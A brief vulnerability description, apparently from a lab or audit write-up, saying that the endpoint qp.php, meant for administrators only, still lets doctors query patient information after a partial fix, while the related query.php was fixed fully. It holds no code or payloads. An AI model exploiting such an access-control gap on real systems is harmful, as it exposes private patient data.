The endpoint qp.php use to respond to GET requests and it should only allow administrators to query for patient information however the developers only fixed the bug partially and it still allowed for doctors to query for patient information. query.php is related to this file and in v1 allowed for Doctors and admins, but query.php was fixed completely whereas qp.php was not.
